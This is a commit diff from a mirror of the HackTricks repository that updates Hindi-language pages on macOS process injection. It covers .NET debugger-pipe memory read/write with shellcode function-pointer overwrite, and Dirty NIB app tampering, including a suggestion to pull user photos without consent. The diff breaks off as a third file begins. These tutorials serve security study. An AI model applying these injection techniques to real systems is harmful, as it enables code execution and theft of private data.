mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
2fedea57f8
commit
bf2d64b675
82 changed files with 3490 additions and 2807 deletions
|
@ -1,30 +1,31 @@
|
||||||
# macOS .Net Applications Injection
|
# macOS .Net Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**यह [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) पोस्ट का सारांश है। अधिक विवरण के लिए इसे देखें!**
|
**यह [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) पोस्ट का सारांश है। आगे की जानकारी के लिए इसे देखें!**
|
||||||
|
|
||||||
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
### **डीबगिंग सत्र स्थापित करना** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
### **डिबगिंग सत्र स्थापित करना** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
.NET में डीबगर और डीबगी के बीच संचार का प्रबंधन [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) द्वारा प्रबंधित किया जाता है। यह घटक प्रति .NET प्रक्रिया के लिए दो नेम्ड पाइप सेट करता है जैसा कि [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) में देखा जा सकता है, जो [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) के माध्यम से प्रारंभ किए जाते हैं। ये पाइप **`-in`** और **`-out`** के साथ समाप्त होते हैं।
|
.NET में डिबगर और डिबगी के बीच संचार का प्रबंधन [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) द्वारा किया जाता है। यह घटक प्रत्येक .NET प्रक्रिया के लिए दो नामित पाइप स्थापित करता है, जैसा कि [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) में देखा गया है, जो [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) के माध्यम से आरंभ होते हैं। इन पाइपों के अंत में **`-in`** और **`-out`** जोड़ा जाता है।
|
||||||
|
|
||||||
उपयोगकर्ता के **`$TMPDIR`** पर जाकर कोई भी .Net एप्लिकेशन को डीबग करने के लिए उपलब्ध डीबगिंग FIFOs मिल सकते हैं।
|
उपयोगकर्ता के **`$TMPDIR`** पर जाकर, .Net अनुप्रयोगों के लिए उपलब्ध डिबगिंग FIFOs पाए जा सकते हैं।
|
||||||
|
|
||||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) डीबगर से संचार प्रबंधित करने के लिए जिम्मेदार है। एक नई डीबगिंग सत्र प्रारंभ करने के लिए, एक डीबगर को एक `MessageHeader` संरचना के साथ `out` पाइप के माध्यम से एक संदेश भेजना होगा, जो .NET स्रोत कोड में विस्तार से वर्णित है:
|
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) संचार प्रबंधन के लिए जिम्मेदार है। एक नया डिबगिंग सत्र शुरू करने के लिए, एक डिबगर को `out` पाइप के माध्यम से एक संदेश भेजना चाहिए जो `MessageHeader` संरचना से शुरू होता है, जो .NET स्रोत कोड में विस्तृत है:
|
||||||
```c
|
```c
|
||||||
struct MessageHeader {
|
struct MessageHeader {
|
||||||
MessageType m_eType; // Message type
|
MessageType m_eType; // Message type
|
||||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
||||||
BYTE m_sMustBeZero[8];
|
BYTE m_sMustBeZero[8];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
एक नए सत्र का अनुरोध करने के लिए, यह स्ट्रक्ट निम्नलिखित रूप में पूरा किया जाता है, संदेश प्रकार को `MT_SessionRequest` और प्रोटोकॉल संस्करण को वर्तमान संस्करण पर सेट करके:
|
नए सत्र का अनुरोध करने के लिए, इस संरचना को इस प्रकार भरा जाता है, संदेश प्रकार को `MT_SessionRequest` और प्रोटोकॉल संस्करण को वर्तमान संस्करण पर सेट किया जाता है:
|
||||||
```c
|
```c
|
||||||
static const DWORD kCurrentMajorVersion = 2;
|
static const DWORD kCurrentMajorVersion = 2;
|
||||||
static const DWORD kCurrentMinorVersion = 0;
|
static const DWORD kCurrentMinorVersion = 0;
|
||||||
|
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
||||||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||||
```
|
```
|
||||||
यह हेडर फिर `write` सिसकॉल का उपयोग करके लक्ष्य को भेजा जाता है, जिसके बाद `sessionRequestData` स्ट्रक्ट भेजी जाती है जिसमें सत्र के लिए एक GUID होता है:
|
यह हेडर फिर `write` syscall का उपयोग करके लक्ष्य पर भेजा जाता है, इसके बाद `sessionRequestData` संरचना होती है जिसमें सत्र के लिए एक GUID होता है:
|
||||||
```c
|
```c
|
||||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||||
```
|
```
|
||||||
एक `out` पाइप पर पढ़ने की क्रिया डीबगिंग सत्र स्थापना की सफलता या असफलता की पुष्टि करती है:
|
`out` पाइप पर एक पढ़ने का ऑपरेशन डिबगिंग सत्र की स्थापना की सफलता या विफलता की पुष्टि करता है:
|
||||||
```c
|
```c
|
||||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||||
```
|
```
|
||||||
## मेमोरी पढ़ना
|
## मेमोरी पढ़ना
|
||||||
एक डीबगिंग सत्र स्थापित होने के बाद, [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) संदेश प्रकार का उपयोग करके मेमोरी पढ़ी जा सकती है। फ़ंक्शन readMemory विस्तार से विवरणित है, आवश्यक कदमों को करने के लिए एक पढ़ने का अनुरोध भेजने और प्रतिक्रिया प्राप्त करने के लिए।
|
एक डिबगिंग सत्र स्थापित होने के बाद, मेमोरी को [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) संदेश प्रकार का उपयोग करके पढ़ा जा सकता है। फ़ंक्शन readMemory विस्तृत है, पढ़ने के अनुरोध को भेजने और प्रतिक्रिया प्राप्त करने के लिए आवश्यक कदम उठाता है:
|
||||||
```c
|
```c
|
||||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
// Allocation and initialization
|
// Allocation and initialization
|
||||||
|
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
पूर्ण सिद्धांत (POC) यहाँ उपलब्ध है [यहाँ](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
पूर्ण प्रमाण अवधारणा (POC) [यहाँ](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) उपलब्ध है।
|
||||||
|
|
||||||
## मेमोरी लिखना
|
## मेमोरी लिखना
|
||||||
|
|
||||||
उसी तरह, `writeMemory` फ़ंक्शन का उपयोग करके मेमोरी लिखी जा सकती है। इस प्रक्रिया में संदेश प्रकार को `MT_WriteMemory` पर सेट करना शामिल है, डेटा के पते और लंबाई को निर्दिष्ट करना है, और फिर डेटा भेजना है:
|
इसी तरह, `writeMemory` फ़ंक्शन का उपयोग करके मेमोरी लिखी जा सकती है। प्रक्रिया में संदेश प्रकार को `MT_WriteMemory` पर सेट करना, डेटा का पता और लंबाई निर्दिष्ट करना, और फिर डेटा भेजना शामिल है:
|
||||||
```c
|
```c
|
||||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||||
// Increment IDs, set message type, and specify memory location
|
// Increment IDs, set message type, and specify memory location
|
||||||
|
@ -93,23 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
जुड़ा हुआ POC यहाँ उपलब्ध है [यहाँ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
संबंधित POC [यहाँ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) उपलब्ध है।
|
||||||
|
|
||||||
## .NET Core कोड निष्पादन <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
## .NET Core कोड निष्पादन <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||||
|
|
||||||
कोड निष्पादित करने के लिए, किसी कोड क्षेत्र की पहचान करनी होगी जिसमें rwx अनुमतियाँ हो, जो vmmap -pages का उपयोग करके किया जा सकता है:
|
कोड निष्पादित करने के लिए, एक को मेमोरी क्षेत्र की पहचान करनी होती है जिसमें rwx अनुमतियाँ होती हैं, जिसे vmmap -pages: का उपयोग करके किया जा सकता है।
|
||||||
```bash
|
```bash
|
||||||
vmmap -pages [pid]
|
vmmap -pages [pid]
|
||||||
vmmap -pages 35829 | grep "rwx/rwx"
|
vmmap -pages 35829 | grep "rwx/rwx"
|
||||||
```
|
```
|
||||||
एक स्थान का पता लगाना जहाँ फ़ंक्शन पॉइंटर को ओवरराइट किया जा सकता है, यह आवश्यक है, और .NET Core में, यह **डायनामिक फ़ंक्शन टेबल (DFT)** को लक्षित करके किया जा सकता है। यह टेबल, [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) में विस्तार से वर्णित है, जो JIT संकलन सहायक फ़ंक्शनों के लिए रनटाइम द्वारा उपयोग किया जाता है।
|
एक फ़ंक्शन पॉइंटर को ओवरराइट करने के लिए स्थान ढूंढना आवश्यक है, और .NET Core में, यह **डायनामिक फ़ंक्शन टेबल (DFT)** को लक्षित करके किया जा सकता है। यह तालिका, जो [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) में विस्तृत है, रनटाइम द्वारा JIT संकलन सहायक फ़ंक्शनों के लिए उपयोग की जाती है।
|
||||||
|
|
||||||
x64 सिस्टमों के लिए, सिग्नेचर हंटिंग का उपयोग किया जा सकता है ताकि `libcorclr.dll` में `_hlpDynamicFuncTable` प्रतीक का संदर्भ मिल सके।
|
x64 सिस्टम के लिए, सिग्नेचर हंटिंग का उपयोग `libcorclr.dll` में प्रतीक `_hlpDynamicFuncTable` के संदर्भ को खोजने के लिए किया जा सकता है।
|
||||||
|
|
||||||
`MT_GetDCB` डीबगर फ़ंक्शन महत्वपूर्ण जानकारी प्रदान करता है, जिसमें एक हेल्पर फ़ंक्शन, `m_helperRemoteStartAddr`, का पता चलता है, जो `libcorclr.dll` के स्थान का प्रकाशन मेमोरी में है। इस पते का उपयोग फिर DFT के लिए खोज शुरू करने और एक फ़ंक्शन पॉइंटर को शेलकोड के पते से ओवरराइट करने के लिए किया जाता है।
|
`MT_GetDCB` डिबगर फ़ंक्शन उपयोगी जानकारी प्रदान करता है, जिसमें एक सहायक फ़ंक्शन का पता, `m_helperRemoteStartAddr`, शामिल है, जो प्रक्रिया मेमोरी में `libcorclr.dll` के स्थान को इंगित करता है। इस पते का उपयोग DFT के लिए खोज शुरू करने और फ़ंक्शन पॉइंटर को शेलकोड के पते के साथ ओवरराइट करने के लिए किया जाता है।
|
||||||
|
|
||||||
PowerShell में इंजेक्शन के लिए पूरा POC कोड [यहाँ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) उपलब्ध है।
|
PowerShell में इंजेक्शन के लिए पूरा POC कोड [यहाँ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) उपलब्ध है।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
|
|
||||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,33 +1,88 @@
|
||||||
# macOS Dirty NIB
|
# macOS Dirty NIB
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**तकनीक के बारे में अधिक विवरण के लिए मूल पोस्ट देखें: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** यहाँ एक सारांश है:
|
**तकनीक के बारे में अधिक जानकारी के लिए मूल पोस्ट देखें: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** यहाँ एक सारांश है:
|
||||||
|
|
||||||
NIB फ़ाइलें, Apple के विकास पारिस्थितिकी का हिस्सा, एप्लिकेशन में **UI तत्वों** और उनके बीच के अंतर्क्रियाएँ परिभाषित करने के लिए हैं। ये विंडोज और बटन्स जैसे सिरीयलाइज़ किए गए ऑब्जेक्ट्स को शामिल करती हैं, और रनटाइम पर लोड की जाती हैं। इनके लगातार उपयोग के बावजूद, Apple अब UI फ्लो विज़ुअलाइज़ेशन के लिए स्टोरीबोर्ड का समर्थन करता है।
|
NIB फ़ाइलें, जो Apple के विकास पारिस्थितिकी तंत्र का हिस्सा हैं, **UI तत्वों** और उनके इंटरैक्शन को परिभाषित करने के लिए होती हैं। इनमें विंडो और बटन जैसी अनुक्रमित वस्तुएं शामिल होती हैं, और इन्हें रनटाइम पर लोड किया जाता है। इनके निरंतर उपयोग के बावजूद, Apple अब अधिक व्यापक UI प्रवाह दृश्यता के लिए Storyboards की सिफारिश करता है।
|
||||||
|
|
||||||
### NIB फ़ाइलों के साथ सुरक्षा संबंधित चिंताएँ
|
### NIB फ़ाइलों के साथ सुरक्षा चिंताएँ
|
||||||
**NIB फ़ाइलें सुरक्षा जोखिम** हो सकती हैं। इनमें **विचारहीन कमांड चलाने** की क्षमता होती है, और एप्लिकेशन में NIB फ़ाइलों में परिवर्तन Gatekeeper को एप्लिकेशन को चलाने से नहीं रोकते, जो एक महत्वपूर्ण खतरा पैदा करता है।
|
यह ध्यान रखना महत्वपूर्ण है कि **NIB फ़ाइलें सुरक्षा जोखिम हो सकती हैं**। इनमें **मनमाने आदेशों को निष्पादित करने** की क्षमता होती है, और एक ऐप के भीतर NIB फ़ाइलों में परिवर्तन Gatekeeper को ऐप को निष्पादित करने से नहीं रोकते, जो एक महत्वपूर्ण खतरा है।
|
||||||
|
|
||||||
### Dirty NIB इंजेक्शन प्रक्रिया
|
### Dirty NIB इंजेक्शन प्रक्रिया
|
||||||
#### NIB फ़ाइल बनाना और सेटअप करना
|
#### NIB फ़ाइल बनाना और सेट करना
|
||||||
1. **प्रारंभिक सेटअप**:
|
1. **प्रारंभिक सेटअप**:
|
||||||
- XCode का उपयोग करके एक नई NIB फ़ाइल बनाएं।
|
- XCode का उपयोग करके एक नई NIB फ़ाइल बनाएं।
|
||||||
- इंटरफ़ेस में एक ऑब्जेक्ट जोड़ें, जिसका क्लास `NSAppleScript` पर सेट करें।
|
- इंटरफ़ेस में एक ऑब्जेक्ट जोड़ें, इसकी कक्षा को `NSAppleScript` पर सेट करें।
|
||||||
- उपयोगकर्ता परिभाषित रनटाइम गुणात्मक के माध्यम से प्रारंभिक `source` गुण सेट करें।
|
- उपयोगकर्ता परिभाषित रनटाइम गुणों के माध्यम से प्रारंभिक `source` संपत्ति को कॉन्फ़िगर करें।
|
||||||
|
|
||||||
2. **कोड निष्पादन गैजेट**:
|
2. **कोड निष्पादन गैजेट**:
|
||||||
- सेटअप करता है कि AppleScript को मांग पर चलाया जा सके।
|
- सेटअप AppleScript को मांग पर चलाने की सुविधा प्रदान करता है।
|
||||||
- `Apple Script` ऑब्ज
|
- `Apple Script` ऑब्जेक्ट को सक्रिय करने के लिए एक बटन एकीकृत करें, विशेष रूप से `executeAndReturnError:` चयनकर्ता को ट्रिगर करना।
|
||||||
|
|
||||||
|
3. **परीक्षण**:
|
||||||
|
- परीक्षण उद्देश्यों के लिए एक सरल Apple Script:
|
||||||
|
```bash
|
||||||
|
set theDialogText to "PWND"
|
||||||
|
display dialog theDialogText
|
||||||
|
```
|
||||||
|
- XCode डिबगर में चलाकर और बटन पर क्लिक करके परीक्षण करें।
|
||||||
|
|
||||||
|
#### एक एप्लिकेशन को लक्षित करना (उदाहरण: Pages)
|
||||||
|
1. **तैयारी**:
|
||||||
|
- लक्षित ऐप (जैसे, Pages) को एक अलग निर्देशिका (जैसे, `/tmp/`) में कॉपी करें।
|
||||||
|
- Gatekeeper समस्याओं से बचने के लिए ऐप को प्रारंभ करें और इसे कैश करें।
|
||||||
|
|
||||||
|
2. **NIB फ़ाइल को अधिलेखित करना**:
|
||||||
|
- एक मौजूदा NIB फ़ाइल (जैसे, About Panel NIB) को तैयार की गई DirtyNIB फ़ाइल से बदलें।
|
||||||
|
|
||||||
|
3. **निष्पादन**:
|
||||||
|
- ऐप के साथ इंटरैक्ट करके निष्पादन को ट्रिगर करें (जैसे, `About` मेनू आइटम का चयन करना)।
|
||||||
|
|
||||||
|
#### प्रमाण का सिद्धांत: उपयोगकर्ता डेटा तक पहुँच
|
||||||
|
- उपयोगकर्ता की सहमति के बिना फ़ोटो जैसी उपयोगकर्ता डेटा तक पहुँचने और निकालने के लिए AppleScript को संशोधित करें।
|
||||||
|
|
||||||
|
### कोड नमूना: दुर्भावनापूर्ण .xib फ़ाइल
|
||||||
|
- मनमाने कोड को निष्पादित करने का प्रदर्शन करने वाली [**दुर्भावनापूर्ण .xib फ़ाइल का एक नमूना**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) देखें और समीक्षा करें।
|
||||||
|
|
||||||
|
### लॉन्च प्रतिबंधों का समाधान
|
||||||
|
- लॉन्च प्रतिबंध अप्रत्याशित स्थानों (जैसे, `/tmp`) से ऐप के निष्पादन में बाधा डालते हैं।
|
||||||
|
- यह पहचानना संभव है कि कौन से ऐप लॉन्च प्रतिबंधों से सुरक्षित नहीं हैं और उन्हें NIB फ़ाइल इंजेक्शन के लिए लक्षित करें।
|
||||||
|
|
||||||
|
### अतिरिक्त macOS सुरक्षा
|
||||||
|
macOS Sonoma से आगे, ऐप बंडलों के भीतर संशोधन प्रतिबंधित हैं। हालाँकि, पहले के तरीकों में शामिल थे:
|
||||||
|
1. ऐप को एक अलग स्थान (जैसे, `/tmp/`) में कॉपी करना।
|
||||||
|
2. प्रारंभिक सुरक्षा को बायपास करने के लिए ऐप बंडल के भीतर निर्देशिकाओं का नाम बदलना।
|
||||||
|
3. Gatekeeper के साथ पंजीकरण करने के लिए ऐप चलाने के बाद, ऐप बंडल में संशोधन करना (जैसे, MainMenu.nib को Dirty.nib से बदलना)।
|
||||||
|
4. निर्देशिकाओं का नाम वापस बदलना और इंजेक्ट की गई NIB फ़ाइल को निष्पादित करने के लिए ऐप को फिर से चलाना।
|
||||||
|
|
||||||
|
**नोट**: हाल के macOS अपडेट ने Gatekeeper कैशिंग के बाद ऐप बंडलों के भीतर फ़ाइल संशोधनों को रोककर इस शोषण को कम कर दिया है, जिससे यह शोषण अप्रभावी हो गया है।
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,68 +1,69 @@
|
||||||
# macOS Thread Injection के माध्यम से थ्रेड इंजेक्शन
|
# macOS Thread Injection via Task port
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> से <strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong>!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
